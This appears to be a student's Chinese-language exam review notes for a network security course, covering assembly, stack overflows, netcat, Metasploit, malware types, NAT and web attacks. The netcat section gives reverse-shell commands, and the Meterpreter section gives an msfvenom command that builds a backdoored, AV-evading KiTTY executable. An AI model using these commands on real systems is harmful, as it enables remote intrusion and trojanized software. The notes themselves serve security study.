[关闭]
@Half-Bread 2020-06-07T23:56:43.000000Z 字数 6699 阅读 426

期末

第一章

机器指令与汇编语言

object文件,里面包含的是机器指令

'''bash
反汇编(-d) xxx(可执行文件)
$objdump -d xxx
'''

反汇编出来的第一列内存地址,第二列是机器指令(存放在程序中的),第三列是机器指令对应的汇编语言,例:

  1. 000040050c<main>:
  2. 40050c: 55 push %rbp

课程中出现的objdump汇编指令(感觉和网上的顺序有区别):

指令 指令写法 作用
push push reg16(32)/seg/mem16(32)/imm 将通用寄存器/段寄存器/内存数/立即数的值压入栈中
mov mov source,target 将源操作数soure的值复制到target中(怎么网上和课里不一样?)
sub sub ax(reg/mem) bx(reg/mem/imm) bx=bx-ax,这是视频1-1中的
movl mov+l(l代表32位的长字值) movl sor des 将sor传给des 参考
add add (reg/mem) reg/mem/imm 将前面的操作数加到后面的操作数中
callq 调用函数,修改IP或同时修改CS和IP
leave 恢复调用者栈帧
ret 利用栈中的数据,修改IP

add指令两个操作数必须类型匹配,且不能同时是内存操作数
mov不能直接操作EIP

几个有特定作用的寄存器:

名称 作业
ax(accumulator) 可用于存放函数返回值
bp(base pointer) 用于存放执行中的函数对应的栈帧的栈底地址
sp(stack poinger) 用于存放执行中的函数对应的栈帧的栈顶地址
ip(instruction pointer) 指向当前执行指令的下一条指令

一些寄存器

EIP寄存器

IP是指令寄存器,存放着当前指令的下一条指令的地址,EIP是32位机的指令寄存器

不知道取啥标题

机器指令对应的编码规则,与硬件有关(依赖硬件)

例:(根据sss有三位,可以推出,这个CPU中最多有个段寄存器)

  1. MOV SEG REG
  2. 100011d0 oosssmmm dispsss可以代表段寄存器,mmm可以代表普通寄存器,不知道disp是什么)
  3. 8EDA
  4. 1000 1110 11011010

根据二进制去查硬件手册,可以翻译出是什么指令。

堆栈的概念

缓冲区溢出基本概念

栈的基本结构

函数调用过程

  1. prologue:保存当前栈基址(ebp)
  2. call:调用函数和返回地址(eip)压栈,跳转到函数入口
  3. return(or epilogue):恢复调用者原有栈底地址

-

在栈中保存参数时,如一个函数有多个参数,如fuc(int a, int b),则先保存b(高地址)再保存a。

先保存参数,再保存返回地址。然后保存(压栈)上一个ebp,然后修改ebp寄存器的值(定义自己的栈帧)。

-

返回地址应该是被调用的语句的下一条语句。

main函数中调用子函数时,一般用call指令,子函数中返回时常用到leave

缓冲区攻击攻击压栈的返回值,改为想执行的代码的地址。

实验一

call指令(e8(e8是call指令的机器码)+跳转地址 )、EIP寄存器、指令跳转的偏移计算(call后的值加到EIP上,改变EIP的值,指向需要执行的函数)、补码、objdump。进阶:ELF文件格式、动态技术。


lea -0x1c(%ebp), %eax,留了28个空间

BOF:小端优先。如1234,就是0x34333231。


第二章

NC

Linux 获取WIN Shell

  1. Linux: nc -l (-p) 8888
  2. Win: ncat.exe -e cmd.exe ip_of_linux 8888

Win 获取Linux Shell

  1. Linux: nc ip_of_win 8888 -e /bin/sh
  2. Win: ncat.exe -l (-p) 8888(选项里有-p时选有-p的)

Mac 获取WIN Shell

  1. Mac: nc -l 8888
  2. Win: c:\your_nc_dir>ncat.exe -e cmd.exe ip_of_mac 8888

传输文件

netcat使用1750端口号传输数据时发送方需要执行命令nc host.example.com 1750 < filename.in,接收方需要执行命令nc -l 1750 > filename.out

Meterpreter

使用

  1. root@KaliYL:/home/YL# msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe

参数说明:
-p 使用的payload。平台/组件/连接方式。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar,是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件

一些错题

1.Meterpreter将后门程序的功能参数等信息集合在一个平台,其中最主要的是基础功能和扩展功能编码模式能够修改机器指令对shellcode变形让杀毒软件无法识别。

2.后渗透攻击POST的功能有:信息抓取、信息搜集、侦察、提权、无线

3.当我们需要将当前进程号为4336的meterpreter HOOK到进程FindSymbian.exe(PID=5336)上使用的指令是: migrate 5336

第三章

恶意软件检测机制

https://www.cnblogs.com/20174317zhuyuan/p/12616442.html#21-%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6%E6%A3%80%E6%B5%8B%E6%9C%BA%E5%88%B6

免杀技术(Evading AV)综述

https://www.cnblogs.com/20174317zhuyuan/p/12616442.html#22-%E5%85%8D%E6%9D%80%E6%8A%80%E6%9C%AFevading-av%E7%BB%BC%E8%BF%B0

一些错题

1.杀毒软件的哪种功能可以专门针对修改特征码的免杀方法:启发式扫描、综合行为查杀、代码仿真运行

2.MD5是我们在日常学习生活中下载软件时最常使用的校验码,常用hash算法还有SHA1,一般来说MD5值若与官方值不同,则软件一定被篡改/不完整

第四章

恶意代码

使计算机按照攻击者的意图运行以达到恶意目的的指令集合。

恶意代码分类:...      现在多为混合型

病毒是一部分程序,附属在别的程序上。蠕虫是独立程序,自己运行

加壳、脱壳

壳的分类:压缩壳、加密壳、伪装壳、...

计算机病毒

计算机病毒是一种能够自我复制的代码,通过将自身嵌入其他程序进行感染,而感染过程通常需要人工干预才能完成。

本质特性:感染性

其他特性:潜伏、可触发、破坏、衍生

蠕虫

定义特性:主动传播性

网络蠕虫传播机制
* 主动攻击网络服务漏洞
* 通过网络共享目录
* 通过邮件传播

后门

自启动方式:
* Windows:自启动文件/文件夹;注册表自启动项;计划任务
* Linux/Unix:inittab, rc.d/init.d, 用户启动脚本,cron计划任务

木马

定义: 看起来具有某个有用或善意目的,但实际掩盖着一些隐藏恶意功能的程序。

错误观点: 提供对受害计算机远程控制的任何程序,或受害计算机上的远程命令行解释器看做木马,他们应被视为后门。

如果将后门工具伪装成良性程序,才具备真正的木马功能。

僵尸程序与僵尸网络

僵尸程序(Bot)
来自于robot, 攻击者用于一对多控制目标主机的恶意代码

僵尸网络(BotNet)
攻击者出于恶意目的,传播僵尸程序控制大量主机,并通过一对多的命令与控制信道所组成的网络。
定义特性:一对多的命令与控制通道的使用。

用途:DDOS、发送垃圾邮件、窃取信息,等

类型:IRC、HTTP、P2P(类型也是连接、控制方式,其中P2P僵尸程序同时承担客户端和服务器的双重角色)

Rootkit

隐藏性恶意代码、修改操作系统软件,获取访问权并隐藏在计算机中

定义特性:隐藏性

也可被视为木马和后门(区别如下图)

分类:用户模式(恶意修改操作系统在用户模式下的程序/代码)、内核模式(恶意修改操作系统内核,隐藏的更深)

一些工具和命令

file,确定文件类型

strings,查看可打印字符串

objdump,反汇编

nm,在可执行文件中查找symbols重要数据

一些错题

  1. 关于恶意代码,下面描述正确的是:

    • 恶意代码是指在使用者电脑运行的、受“攻击者”控制的代码
    • 狭义的恶意代码,如木马、后门等比较好区分;广义的恶意代码,指侵害使用者利益的代码,其实很难界定。
  2. 恶意代码分析方法有:

    • 静态分析,如扫描、字符串提取等,特征码
    • 动态分析,如快照对比等
  3. sysmon的日志可以在哪里查看:事件查看器

第五章

一些错题

DNS的查询工具有:dig、nslookup

https://www.mosoteach.cn/web/index.php?c=interaction_quiz&m=person_quiz_result&clazz_course_id=1D858B3C-4C96-11EA-9C7F-98039B1848C6&id=CE15F99C-FDAB-5335-3D76-AB6B44795181&order_item=group

第六章

一些错题

  1. 关于Encoder描述正确的有

    • 编码器模块可用来确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”
    • 编码器可用来改变特征码,对攻击载荷进行“免杀”处理
  2. exploit源代码的安装目录一般是:/usr/share/metasploit-framework/modules/exploits

  3. Auxiliary module,辅助模块可以用来做什么:

    • 网络服务的扫描与查点
    • 收集登录密码 口令猜测破解 敏感信息嗅探
    • 探查敏感信息泄露、Fuzz测试发掘漏洞
  4. MSF框架中包括有哪几种模块: auxiliary、nops、exploits

https://www.mosoteach.cn/web/index.php?c=interaction_quiz&m=person_quiz_result&clazz_course_id=1D858B3C-4C96-11EA-9C7F-98039B1848C6&id=21EB8D61-E2FB-428D-DFA8-754EC2DD53FF&order_item=group

第七章

DNS解析记录类型

自己的作业博客

大佬的博客

NAT

网络访问只能先由私网侧发起,公网无法主动访问私网主机。

静态NAT(Static NAT)

静态手工配置,一对一映射,一个公网IP对应一个内网主机。

动态NAT(Dynamic NAT)

无需手工配置,但最终还是一对一映射,若公网IP不够仍会失败。

NAT重载

这种方式看博客上说是属于动态NAT,也叫端口地址转换(PAT),配置时既可动态也可静态(手工)

参考博客一参考博客二

SNAT

局域网共享一个公网IP接入lnternel。

DNAT

向Internel发布内网服务器

一些错题

  1. 主机正常情况下可能在什么时机发ARP应用包:启动的时候、收到ARP请求包的时候

  2. 集线器、交换机、路由器分别工作于物理层、数据链路层和网络层

  3. 集线器只负责电信号的中继(放大)

  4. ARP:IP转MAC

  5. MAC前3字节内容是:组织唯一标识,即厂家信息

https://www.mosoteach.cn/web/index.php?c=interaction_quiz&m=person_quiz_result&clazz_course_id=1D858B3C-4C96-11EA-9C7F-98039B1848C6&id=9AC8EE69-C869-2F33-9CC5-66FEFDD55D25&order_item=group

第八章

一些错题

https://www.mosoteach.cn/web/index.php?c=interaction_quiz&m=person_quiz_result&clazz_course_id=1D858B3C-4C96-11EA-9C7F-98039B1848C6&id=CC72474D-4BFD-FEB3-3DA3-540A03AF2BF3&order_item=group

第九章

一些错题

  1. XSS类型:DOM based XSS、Persistent or Stored XSS、Reflected XSS

  2. SQL注入有哪些类型:字符串型注入和整型注入、普通注入和盲注入

https://www.mosoteach.cn/web/index.php?c=interaction_quiz&m=person_quiz_result&clazz_course_id=1D858B3C-4C96-11EA-9C7F-98039B1848C6&id=0F4E7C69-699F-A4FB-7E6B-F1551704CF75&order_item=group

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注